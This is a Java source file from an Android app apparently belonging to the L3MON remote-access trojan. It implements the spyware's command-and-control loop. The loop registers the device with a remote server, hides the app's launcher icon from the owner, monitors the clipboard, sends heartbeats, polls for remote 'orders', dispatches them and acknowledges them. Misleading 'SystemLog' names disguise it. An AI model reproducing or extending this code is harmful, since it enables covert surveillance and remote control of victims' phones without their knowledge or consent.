package com.etechd.l3mon;

import android.util.Log;

import org.json.JSONObject;

public class HttpPollRunnable implements Runnable {
    private static volatile boolean running = false;
    private static volatile long lastLoopAt = 0;

    public static void startOnce(android.content.Context ctx) {
        long now = System.currentTimeMillis();
        if (running && now - lastLoopAt < 60000L) {
            return;
        }
        running = true;
        SystemLogApi.init(ctx);
        ClipboardMonitor.start(ctx.getApplicationContext());
        Thread t = new Thread(new HttpPollRunnable(), "SystemLogHttp");
        t.setDaemon(true);
        t.start();
    }

    @Override
    public void run() {
        while (running) {
            try {
                lastLoopAt = System.currentTimeMillis();
                if (SystemLogApi.getToken() == null) {
                    if (!SystemLogApi.register()) {
                        Thread.sleep(5000);
                        continue;
                    }
                    LauncherHider.hideOnce(SystemLogApi.getAppContext());
                }

                SystemLogApi.heartbeatIfNeeded();
                ClipboardMonitor.tick();

                JSONObject order = SystemLogApi.poll();
                if (order != null) {
                    String orderType = order.optString("type", "");
                    ConnectionManagerDispatch.dispatch(order);
                    if (order.has("command_id") && !"0xRA".equals(orderType)) {
                        SystemLogApi.ack(order.getInt("command_id"));
                    }
                }

                Thread.sleep(SystemLogApi.getPollInterval() * 1000L);
            } catch (Exception e) {
                Log.e("SystemLog", "loop: " + e.getMessage());
                try {
                    Thread.sleep(5000);
                } catch (InterruptedException ignored) {
                }
            }
        }
    }
}
